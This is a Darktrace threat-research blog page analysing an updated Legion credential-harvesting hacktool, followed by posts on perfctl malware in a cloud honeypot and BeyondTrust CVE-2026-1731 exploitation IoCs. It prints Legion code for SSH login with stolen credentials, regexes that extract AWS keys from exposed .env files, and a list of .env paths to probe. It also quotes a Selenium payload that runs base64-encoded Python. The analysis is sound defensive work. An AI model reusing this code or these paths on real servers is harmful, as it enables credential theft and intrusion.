Blog
/
/
May 24, 2023

Updates to Legion: A Cloud Credential Harvester and SMTP Hijacker

Cado Labs (now part of Darktrace) discovered an updated version of the Legion hacktool. This new iteration has enhanced capabilities, including SSH abuse and exploiting additional AWS services like DynamoDB, CloudWatch, and AWS Owl, by harvesting credentials from misconfigured web servers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
24
May 2023

Introduction: A cloud credential harvester and SMTP Hijacker

Cado Security Labs (now part of Darktrace) discovered and reported [1] on an emerging cloud-focused hacktool, designed to harvest credentials from misconfigured web servers and leverage these credentials for email abuse. The tool was named ‘Legion’ by its developers and was distributed and marketed in various public groups and channels within the Telegram messaging service.  

In early 2023, Cado researchers encountered what is believed to be an updated version of this commodity malware, with some additional functionality of interest to cloud security professionals.

SSH abuse

In the sample [2] of Legion previously analyzed by Cado, the developers included code within a class named ‘legion’ to parse a list of exfiltrated database credentials and extract username and password pairs. The function then attempted to use these credentials in combination with a matching host value to log in to the host via SSH - assuming that these credentials were being reused across services.  

To achieve this within Python, the Paramiko library (a Python implementation of the SSHv2 protocol) was used. However, in the original sample of Legion, the import of Paramiko was commented out, making the code leveraging it redundant. In Legion’s most recent update, it appears that this functionality has been enabled.

if db_user and db_pass: 
	connected = 0 
	ssh = paramiko.SSHClient() 
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
	try: 
		ssh.connect(host, 22, db_user, db_pass, timeout=3) 
		fp = open('Results/!Vps.txt', 'a+') 
		build = str(host)+'|'+str(db_user)+'|'+str(db_pass)+'\n' 
		remover = str(build).replace('\r', '') 
		fp.write(remover + '\n\n') 
		fp.close() 
		connected += 1 
	except: 
		pass 
	finally: 
		if ssh: 
			ssh.close() 

Python snippet of Legion’s SSH connection code

Exploiting additional cloud services

Legion’s credential gathering capabilities were discussed at length in Cado’s previous blog on the topic. Essentially, the malware hunts for environment variable files in misconfigured web servers running PHP frameworks such as Laravel. Legion attempts to access these .env files by enumerating the target server with a list of hardcoded paths in which these environment variable files typically reside. If these paths are publicly accessible, due to misconfigurations, the files are saved and a series of regular expressions are run over their contents.  

From the searches performed on the environment variable files, it’s easy to determine the services the malware attempts to retrieve credentials for. In the updated version of Legion, the malware can be seen searching for credentials specific to the following services/technologies:

  • DynamoDB
  • Amazon CloudWatch
  • AWS Owl

For CloudWatch specifically, the malware searches for the environment variable CLOUDWATCH_LOG_KEY. This variable name appears in the documentation for public Laravel projects, including a project [3] for handling CloudWatch logging in Laravel. This fits with Legion’s capabilities, as the tool’s credential harvesting feature targets Laravel apps.

elif "CLOUDWATCH_LOG_KEY" in str(text): 
	if "CLOUDWATCH_LOG_KEY=" in str(text): 
		method = '/.env' 
		try: 
		   aws_key = reg("\nCLOUDWATCH_LOG_KEY=(.*?)\n", text)[0] 
		except: 
			aws_key = '' 
		try: 
			aws_sec = reg("\nCLOUDWATCH_LOG_SECRET=(.*?)\n", text)[0] 
		except: 
			aws_sec = '' 
		try: 
			asu = legion().get_aws_region(text) 
			if asu: 
				aws_reg = asu 
			else: 
				aws_reg = '' 
		except: 
			aws_reg = '' 

Parsing .env files for the value of CLOUDWATCH_LOG_KEY

elif "AWSOWL_ACCESS_KEY_ID" in str(text): 
	if "AWSOWL_ACCESS_KEY_ID=" in str(text): 
		method = '/.env' 
		try: 
		   aws_key = reg("\nAWSOWL_ACCESS_KEY_ID=(.*?)\n", text)[0] 
		except: 
			aws_key = '' 
		try: 
			aws_sec = reg("\nAWSOWL_SECRET_ACCESS_KEY=(.*?)\n", tex 
		except: 
			aws_sec = '' 
		try: 
			asu = legion().get_aws_region(text) 
			if asu: 
				aws_reg = asu 
			else: 
				aws_reg = '' 
		except: 
			aws_reg = '' 

Parsing .env files for the value of AWSOWL_ACCESS_KEY_ID and AWS_OWL_SECRET_ACCESS_KEY

Miscellaneous updates

Aside from general refactoring, the Legion developers have made some additional updates to the hacktool.

One such update is a change to the subject line of test emails sent by the malware, which now include a reference to “King Forza”. The Forza name was also used in a YouTube channel linked by Cado researchers to the operators of the Legion malware.

smtp_server = str(mailhost) 
login = str(mailuser.replace('"', ''))  # paste your login generated by Mailtrap 
password = str(mailpass.replace('"', '')) # paste your password generated by Mailtrap 
receiver_email = emailnow 
message = MIMEMultipart('alternative') 
message['Subject'] = f'King Forza SMTP | {mailhost} ' 
message['From'] = sender_email 
message['To'] = receiver_email 
text = '        ' 
html = f" <h3>King Forza smtps! - SMTP Data for you!</h3><br>{mailhost} <br><br><h5>Mailer King with from</h5><br>==================<br><i>{mailhost}:{mailport}:{mailuser}:{mailpass}:{mailfrom}:ssl::::0:</i><br>==================<br><br><h5>Mailer king Normal</h5><br>==================<br>{mailhost}:{mailport}:{mailuser}:{mailpass}::ssl::::0:<br>==================<br><br>        " 
part1 = MIMEText(text, 'plain') 
part2 = MIMEText(html, 'html') 
message.attach(part1) 
message.attach(part2) 

Snippet showing updated subject line, including Forza name

Another update included adding additional paths to enumerate for the existence of .env files. The new paths can be seen below:

/lib/.env

/lab/.env

/cronlab/.env

/cron/.env

/core/app/.env

/core/Datavase/.env (sic)

/database/.env

/config/.env

/apps/.env

/uploads/.env

/sitemaps/.env

/saas/.env

/api/.env

/psnlink/.env

/exapi/.env

/site/.env

/web/.env

/en/.env

/tools/.env

/v1/.env

/v2/.env

/administrator/.env

Conclusion

Legion is an actively developed hacktool, specifically designed to exploit vulnerable web applications in an attempt to harvest credentials. Legion focuses primarily on retrieving credentials for SMTP and SMS abuse. However, this recent update demonstrates a widening of scope, with new capabilities such as the ability to compromise SSH servers and retrieve additional AWS-specific credentials from Laravel web applications. It’s clear that the developer’s targeting of cloud services is advancing with each iteration.

Detection and prevention advice remains consistent with Cado’s previous blog on this malware family. Misconfigurations in web applications are still the primary method used by Legion to retrieve credentials. Therefore, it’s recommended that developers and administrators of web applications regularly review access to resources within the applications themselves, and seek alternatives to storing secrets in environment files.  

Indicators of compromise (IoCs)

Filename - SHA256

og.py - 6f059c2abf8517af136503ed921015c0cd8859398ece7d0174ea5bf1e06c9ada

User agents

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36

References

  1. www.darktrace.com/blog/legion-an-aws-credential-harvester-and-smtp-hijacker  
  1. https://www.virustotal.com/gui/file/fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a/detection
  1. https://github.com/pagevamp/laravel-cloudwatch-logs/tree/master

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

/

March 5, 2026

Inside Cloud Compromise: Investigating Attacker Activity with Darktrace / Forensic Acquisition & Investigation

Forensic Acquisition and investigationDefault blog imageDefault blog image

Investigating cloud attacks with Darktrace/ Forensic Acquisition & Investigation

Darktrace / Forensic Acquisition & Investigation™ is the industry’s first truly automated forensic solution purpose-built for the cloud. This blog will demonstrate how an investigation can be carried out against a compromised cloud server in minutes, rather than hours or days.

The compromised server investigated in this case originates from Darktrace’s Cloudypots system, a global honeypot network designed to observe adversary activity in real time across a wide range of cloud services. Whenever an attacker successfully compromises one of these honeypots, a forensic copy of the virtual server's disk is preserved for later analysis. Using Forensic Acquisition & Investigation, analysts can then investigate further and obtain detailed insights into the compromise including complete attacker timelines and root cause analysis.

Forensic Acquisition & Investigation supports importing artifacts from a variety of sources, including EC2 instances, ECS, S3 buckets, and more. The Cloudypots system produces a raw disk image whenever an attack is detected and stores it in an S3 bucket. This allows the image to be directly imported into Forensic Acquisition & Investigation using the S3 bucket import option.

As Forensic Acquisition & Investigation runs cloud-natively, no additional configuration is required to add a specific S3 bucket. Analysts can browse and acquire forensic assets from any bucket that the configured IAM role is permitted to access. Operators can also add additional IAM credentials, including those from other cloud providers, to extend access across multiple cloud accounts and environments.

Figure 1: Forensic Acquisition & Investigation import screen.

Forensic Acquisition & Investigation then retrieves a copy of the file and automatically begins running the analysis pipeline on the artifact. This pipeline performs a full forensic analysis of the disk and builds a timeline of the activity that took place on the compromised asset. By leveraging Forensic Acquisition & Investigation’s cloud-native analysis system, this process condenses hour of manual work into just minutes.

Successful import of a forensic artifact and initiation of the analysis pipeline.
Figure 2: Successful import of a forensic artifact and initiation of the analysis pipeline.

Once processing is complete, the preserved artifact is visible in the Evidence tab, along with a summary of key information obtained during analysis, such as the compromised asset’s hostname, operating system, cloud provider, and key event count.

The Evidence overview showing the acquired disk image.
Figure 3: The Evidence overview showing the acquired disk image.

Clicking on the “Key events” field in the listing opens the timeline view, automatically filtered to show system- generated alarms.

The timeline provides a chronological record of every event that occurred on the system, derived from multiple sources, including:

  • Parsed log files such as the systemd journal, audit logs, application specific logs, and others.
  • Parsed history files such as .bash_history, allowing executed commands to be shown on the timeline.
  • File-specific events, such as files being created, accessed, modified, or executables being run, etc.

This approach allows timestamped information and events from multiple sources to be aggregated and parsed into a single, concise view, greatly simplifying the data review process.

Alarms are created for specific timeline events that match either a built-in system rule, curated by Darktrace’s Threat Research team or an operator-defined rule  created at the project level. These alarms help quickly filter out noise and highlight on events of interest, such as the creation of a file containing known malware, access to sensitive files like Amazon Web Service (AWS) credentials, suspicious arguments or commands, and more.

 The timeline view filtered to alarm_severity: “1” OR alarm_severity: “3”, showing only events that matched an alarm rule.
Figure 4: The timeline view filtered to alarm_severity: “1” OR alarm_severity: “3”, showing only events that matched an alarm rule.

In this case, several alarms were generated for suspicious Base64 arguments being passed to Selenium. Examining the event data, it appears the attacker spawned a Selenium Grid session with the following payload:

"request.payload": "[Capabilities {browserName: chrome, goog:chromeOptions: {args: [-cimport base64;exec(base64...], binary: /usr/bin/python3, extensions: []}, pageLoadStrategy: normal}]"

This is a common attack vector for Selenium Grid. The chromeOptions object is intended to specify arguments for how Google Chrome should be launched; however, in this case the attacker has abused the binary field to execute the Python3 binary instead of Chrome. Combined with the option to specify command-line arguments, the attacker can use Python3’s -c option to execute arbitrary Python code, in this instance, decoding and executing a Base64 payload.

Selenium’s logs truncate the Arguments field automatically, so an alternate method is required to retrieve the full payload. To do this, the search bar can be used to find all events that occurred around the same time as this flagged event.

Pivoting off the previous event by filtering the timeline to events within the same window using timestamp: [“2026-02-18T09:09:00Z” TO “2026-02-18T09:12:00Z”].
Figure 5: Pivoting off the previous event by filtering the timeline to events within the same window using timestamp: [“2026-02-18T09:09:00Z” TO “2026-02-18T09:12:00Z”].

Scrolling through the search results, an entry from Java’s systemd journal can be identified. This log contains the full, unaltered payload. GCHQ’s CyberChef can then be used to decode the Base64 data into the attacker’s script, which will ultimately be executed.

Decoding the attacker’s payload in CyberChef.
Figure 6: Decoding the attacker’s payload in CyberChef.

In this instance, the malware was identified as a variant of a campaign that has been previously documented in depth by Darktrace.

Investigating Perfctl Malware

This campaign deploys a malware sample known as ‘perfctl to the compromised host. The script executed by the attacker downloads a Go binary named “promocioni.php” from 200[.]4.115.1. Its functionality is consistent with previously documented perfctl samples, with only minor changes such as updated filenames and a new command-and-control (C2) domain.

Perfctl is a stealthy malware that has several systems designed  to evade detection. The main binary is packed with UPX, with the header intentionally tampered with to prevent unpacking using regular tools. The binary also avoids executing any malicious code if it detects debugging or tracing activity, or if artifacts left by earlier stages are missing.

To further aid its evasive capabilities, perfctl features a usermode rootkit using an LD preload. This causes dynamically linked executables to load perfctl’s rootkit payload before other system modules, allowing it to override functions, such as intercepting calls to list files and hiding output from the returned list. Perfctl uses this to hide its own files, as well as other files like the ld.so.preload file, preventing users from identifying that a rootkit is present in the first place.

This also makes it difficult to dynamically analyze, as even analysts aware of the rootkit will struggle to get around it due to its aggressiveness in hiding its components. A useful trick is to use the busybox-static utilities, which are statically linked and therefore immune to LD preloading.

Perfctl will attempt to use sudo to escalate its permissions to root if the user it was executed as has the required privileges. Failing this, it will attempt to exploit the vulnerability CVE-2021-4034.

Ultimately, perfctl will attempt to establish a C2 link via Tor and spawn an XMRig miner to mine the Monero cryptocurrency. The traffic to the mining pool is encapsulated within Tor to limit network detection of the mining traffic.

Darktrace’s Cloudypots system has observed 1,959 infections of the perfctl campaign across its honeypot network in the past year, making it one of the most aggressive campaigns seen by Darktrace.

Key takeaways

This blog has shown how Darktrace / Forensic Acquisition & Investigation equips defenders in the face of a real-world attacker campaign. By using this solution, organizations can acquire forensic evidence and investigate intrusions across multiple cloud resources and providers, enabling defenders to see the full picture of an intrusion on day one. Forensic Acquisition & Investigation’s patented data-processing system takes advantage of the cloud’s scale to rapidly process large amounts of data, allowing triage to take minutes, not hours.

Darktrace / Forensic Acquisition & Investigation is available as Software-as-a-Service (SaaS) but can also be deployed on-premises as a virtual application or natively in the cloud, providing flexibility between convenience and data sovereignty to suit any use case.

Support for acquiring traditional compute instances like EC2, as well as more exotic and newly targeted platforms such as ECS and Lambda, ensures that attacks taking advantage of Living-off-the-Cloud (LOTC) strategies can be triaged quickly and easily as part of incident response. As attackers continue to develop new techniques, the ability to investigate how they use cloud services to persist and pivot throughout an environment is just as important to triage as a single compromised EC2 instance.

Credit to Nathaniel Bill (Malware Research Engineer)

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

Network

/

February 19, 2026

CVE-2026-1731: How Darktrace Sees the BeyondTrust Exploitation Wave Unfolding

Default blog imageDefault blog image

Note: Darktrace's Threat Research team is publishing now to help defenders. We will continue updating this blog as our investigations unfold.

Background

On February 6, 2026, the Identity & Access Management solution BeyondTrust announced patches for a vulnerability, CVE-2026-1731, which enables unauthenticated remote code execution using specially crafted requests.  This vulnerability affects BeyondTrust Remote Support (RS) and particular older versions of Privileged Remote Access (PRA) [1].

A Proof of Concept (PoC) exploit for this vulnerability was released publicly on February 10, and open-source intelligence (OSINT) reported exploitation attempts within 24 hours [2].

Previous intrusions against Beyond Trust technology have been cited as being affiliated with nation-state attacks, including a 2024 breach targeting the U.S. Treasury Department. This incident led to subsequent emergency directives from  the Cybersecurity and Infrastructure Security Agency (CISA) and later showed attackers had chained previously unknown vulnerabilities to achieve their goals [3].

Additionally, there appears to be infrastructure overlap with React2Shell mass exploitation previously observed by Darktrace, with command-and-control (C2) domain  avg.domaininfo[.]top seen in potential post-exploitation activity for BeyondTrust, as well as in a React2Shell exploitation case involving possible EtherRAT deployment.

Darktrace Detections

Darktrace’s Threat Research team has identified highly anomalous activity across several customers that may relate to exploitation of BeyondTrust since February 10, 2026. Observed activities include:

Outbound connections and DNS requests for endpoints associated with Out-of-Band Application Security Testing; these services are commonly abused by threat actors for exploit validation.  Associated Darktrace models include:

  • Compromise / Possible Tunnelling to Bin Services

Suspicious executable file downloads. Associated Darktrace models include:

  • Anomalous File / EXE from Rare External Location

Outbound beaconing to rare domains. Associated Darktrace models include:

  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Agent Beacon (Long Period)
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Compromise / Beacon to Young Endpoint
  • Anomalous Server Activity / Rare External from Server
  • Compromise / SSL Beaconing to Rare Destination

Unusual cryptocurrency mining activity. Associated Darktrace models include:

  • Compromise / Monero Mining
  • Compromise / High Priority Crypto Currency Mining

And model alerts for:

  • Compromise / Rare Domain Pointing to Internal IP

IT Defenders: As part of best practices, we highly recommend employing an automated containment solution in your environment. For Darktrace customers, please ensure that Autonomous Response is configured correctly. More guidance regarding this activity and suggested actions can be found in the Darktrace Customer Portal.  

Appendices

Potential indicators of post-exploitation behavior:

·      217.76.57[.]78 – IP address - Likely C2 server

·      hXXp://217.76.57[.]78:8009/index.js - URL -  Likely payload

·      b6a15e1f2f3e1f651a5ad4a18ce39d411d385ac7  - SHA1 - Likely payload

·      195.154.119[.]194 – IP address – Likely C2 server

·      hXXp://195.154.119[.]194/index.js - URL – Likely payload

·      avg.domaininfo[.]top – Hostname – Likely C2 server

·      104.234.174[.]5 – IP address - Possible C2 server

·      35da45aeca4701764eb49185b11ef23432f7162a – SHA1 – Possible payload

·      hXXp://134.122.13[.]34:8979/c - URL – Possible payload

·      134.122.13[.]34 – IP address – Possible C2 server

·      28df16894a6732919c650cc5a3de94e434a81d80 - SHA1 - Possible payload

References:

1.        https://nvd.nist.gov/vuln/detail/CVE-2026-1731

2.        https://www.securityweek.com/beyondtrust-vulnerability-targeted-by-hackers-within-24-hours-of-poc-release/

3.        https://www.rapid7.com/blog/post/etr-cve-2026-1731-critical-unauthenticated-remote-code-execution-rce-beyondtrust-remote-support-rs-privileged-remote-access-pra/

Continue reading
About the author
Emma Foulger
Global Threat Research Operations Lead
Your data. Our AI.
Elevate your network security with Darktrace AI